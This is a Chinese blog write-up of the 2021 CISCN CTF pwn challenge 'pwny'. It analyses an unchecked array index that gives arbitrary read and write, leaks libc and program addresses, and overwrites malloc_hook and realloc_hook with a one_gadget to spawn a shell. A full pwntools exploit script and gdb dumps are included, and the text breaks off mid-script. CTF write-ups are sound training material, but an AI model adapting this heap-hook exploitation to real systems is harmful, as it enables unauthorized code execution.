2021 ciscn-pwn 初赛

本文概述了四个2021全国大学生信息安全竞赛中的pwn题目,包括pwny的内存溢出利用、silverwolf的沙盒破解、game的堆栈攻击和channel的内核级逆向,详细展示了漏洞分析、利用策略和最终的exploits。

题目-pwny

2021全国大学生信息安全竞赛-pwny_init

保护

$ checksec ./pwny
[*] '/home/hnhuangjingyu/pwny/pwny'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.3) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

分析

main

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4FQzUxYO-1654366741330)(2021-国赛.assets/image-20220525234405472.png)]

read

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UDuvrs75-1654366741331)(2021-国赛.assets/image-20220525234430774.png)]

write

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2JOtAQpl-1654366741331)(2021-国赛.assets/image-20220525234451507.png)]

这个程序其实就是两个核心函数,和名字一样,因为操作的fd指针是个随机参数文件,我们通过修改fd指针为0,也就是控制台就可以实现任意读写了,那么程序就简单了

思路

很简单我们看这个qword_202060[input_idx]这里组的偏移是由我们决定的且没有大小限制(是int64类型的变量)。

ok看看bss段qword_202060和随机函数的fd指针只相差0x100偏移,那么就可以间接的控制fd为0了,具体利用如下:

################################ Function ############################################
def reads(offset):
    sla("Your choice:","1")
    sa("Index:",offset)
def writes(offset,data = -1):
    sla("Your choice:","2")
    sla("Index:",str(offset))
    if (data != -1):
       sd(data)
################################### Statr ############################################
writes(0x100) #第一次发现rsp的值是一个随机值
writes(0x100) #这里的rsp就为0,刚好满足需求
reads(p64(0xfffffffffffffff0))
ru('Result:')
libc.address = int(ru('\n'),16) - (0x7f5beb5afb10 - 0x7f5beb58e000)
reads(p64(0xfffffffffffffff5))
ru('Result:')
addr = int(ru('\n'),16) + (0x0000556dd6c02060 - 0x556dd6c02008)

这里就可以将fd置为0,我也是gdb调试调试着就发现的,仔细分析程序再加gdb的一些数据,思路一下就来了,这样我们就实现了任意读,从而泄漏了程序用户态地址,和libc地址,ok

再通过任意写在malloc_hook处写入one_gadget,但是我在做的时候换了所有one_gadget都不行,调试发现进入到了one_gadget函数后,遇到了一个bad 指令,然后就报错EOF了,不想放弃这个exp再使用environ进行getshell

我们看看报错时后的程序数据:

──────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007ff8a8f8e3cc  →  <do_system+1036> (bad)
$rbx   : 0x007fff58275130  →  0x007fff58275140  →  "22222222222222222222222222222222222222222222222222[...]"
$rcx   : 0x32
$rdx   : 0x402
$rsp   : 0x007fff58274e78  →  0x007ff8a8fdc2d8  →  <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax
$rbp   : 0x800
$rsi   : 0x007ff8a8fdc2d8  →  <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax
$rdi   : 0x800
$rip   : 0x007ff8a8f8e3cc  →  <do_system+1036> (bad)
$r8    : 0x007ff8a932c8c0  →  0x0000000000000000
$r9    : 0x007ff8a9558580  →  0x007ff8a9558580  →  [loop detected]
$r10   : 0x005591a6a00d01  →  0x65646e4900646c25 ("%ld"?)
$r11   : 0x005591a6a00d04  →   add BYTE PTR [rcx+0x6e], cl
$r12   : 0x007fff58275140  →  "22222222222222222222222222222222222222222222222222[...]"
$r13   : 0x400
$r14   : 0x007fff58275140  →  "22222222222222222222222222222222222222222222222222[...]"
$r15   : 0xffffffff
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fff58274e78│+0x0000: 0x007ff8a8fdc2d8  →  <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax	 ← $rsp
0x007fff58274e80│+0x0008: 0x0000000000000400
0x007fff58274e88│+0x0010: 0x007fff58275590  →  0x007fff58275680  →  0x0000000000000002
0x007fff58274e90│+0x0018: 0x0000000000000a ("\n"?)
0x007fff58274e98│+0x0020: 0x00000000000032 ("2"?)
0x007fff58274ea0│+0x0028: 0x007ff8a932aa00  →  0x00000000fbad208b
0x007fff58274ea8│+0x0030: 0x007ff8a8fac4c8  →  <_IO_vfscanf+8616> test al, al
0x007fff58274eb0│+0x0038: 0x4800490040000a ("\n"?)
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 → 0x7ff8a8f8e3cc <do_system+1036> (bad)
   0x7ff8a8f8e3cd <do_system+1037> add    BYTE PTR [rax-0x73], cl
   0x7ff8a8f8e3d0 <do_system+1040> add    eax, 0x164a42
   0x7ff8a8f8e3d5 <do_system+1045> lea    rsi, [rip+0x39e2c4]        # 0x7ff8a932c6a0 <intr>
   0x7ff8a8f8e3dc <do_system+1052> xor    edx, edx
   0x7ff8a8f8e3de <do_system+1054> mov    edi, 0x2
───────────────────────────────────────────────────────────────────────────────────────────────
gef➤

可以看到程序执行到了one_gadget这里地方出现了一个bad(报错原因),在执行onegadget的时候报错退出一般只有寄存器数据有问题,或者是栈数据有问题,都不符合one_gadget要求,这里我的glibc的one_gadget为如下:

$ one_gadget /home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so -l2
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0xe546f execve("/bin/sh", r13, rbx)
constraints:
  [r13] == NULL || r13 == NULL
  [rbx] == NULL || rbx == NULL

0xe5617 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
  [[rbp-0x88]] == NULL || [rbp-0x88] == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe561e execve("/bin/sh", rcx, [rbp-0x70])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5622 execve("/bin/sh", rcx, rdx)
constraints:
  [rcx] == NULL || rcx == NULL
  [rdx] == NULL || rdx == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0x10a428 execve("/bin/sh", rsi, [rax])
constraints:
  [rsi] == NULL || rsi == NULLt
  [[rax]] == NULL || [rax] == NULL

再看看我的在调用malloc_hook前的栈空间,可以看到只需要提高栈0x8即可满足一些one_gadge。

解决方法:在malloc_hook中写入realloc(realloc_hook就在malloc_hook-0x8处),在realloc_hook中写入one_gadget,修改realloc的偏移+8即去掉函数开头的一个push操作,最后函数出栈就会改变原来的栈空间去调用one_gadget,修改后如下:

──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffdb1ee74b8│+0x0000: 0x00000000000032 ("2"?)	 ← $rsp
0x007ffdb1ee74c0│+0x0008: 0x007fc5a22f4a00  →  0x00000000fbad208b
0x007ffdb1ee74c8│+0x0010: 0x007fc5a1f764c8  →  <_IO_vfscanf+8616> test al, al
0x007ffdb1ee74d0│+0x0018: 0x4800490040000a ("\n"?)
0x007ffdb1ee74d8│+0x0020: 0x007fc5a20be74b  →  0x747300445750002e ("."?)
0x007ffdb1ee74e0│+0x0028: 0x007ffdb1ee7b90  →  0x0055f52ee00900  →   xor ebp, ebp
0x007ffdb1ee74e8│+0x0030: 0x0000000000000000
0x007ffdb1ee74f0│+0x0038: 0x0000000000000000

那么exp如下:


writes("0"*0xfff,b'\x00') #初始化malloc@got


writes(int((libc.symbols['__malloc_hook'] - addr)/8)-1 , p64(libc.address + one[1]))
writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.symbols['realloc'] +8 ))
#writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.address + one[1] ))

#logs(libc.symbols['__malloc_hook'])
#logs(addr)
#logs((libc.symbols['__malloc_hook'] - addr)/8)
sla("Your choice:","2"*0xfff) #getshell

完整exp

#! /usr/bin/python3
from pwn import *

#context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./pwny"

one = [0x4f3d5,0x4f432,0x10a41c] 

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)
def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def reads(offset):
    sla("Your choice:","1")
    sa("Index:",offset)
def writes(offset,data = -1):
    sla("Your choice:","2")
    sla("Index:",str(offset))
    if (data != -1):
        sd(data)
################################### Statr ############################################
#z(''' pie breakpoint 0xb78 \n c''')
#z(''' pie breakpoint 0xc06 \n c \n c \n c ''')
writes(0x100)
writes(0x100)
reads(p64(0xfffffffffffffff0))
ru('Result:')
libc.address = int(ru('\n'),16) - (0x7f5beb5afb10 - 0x7f5beb58e000)
reads(p64(0xfffffffffffffff5))
ru('Result:')
addr = int(ru('\n'),16) + (0x0000556dd6c02060 - 0x556dd6c02008)


writes("0"*0xfff,b'\x00') #初始化malloc@got


writes(int((libc.symbols['__malloc_hook'] - addr)/8)-1 , p64(libc.address + one[1]))
writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.symbols['realloc'] +8 ))
#writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.address + one[1] ))

#logs(libc.symbols['__malloc_hook'])
#logs(addr)</
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值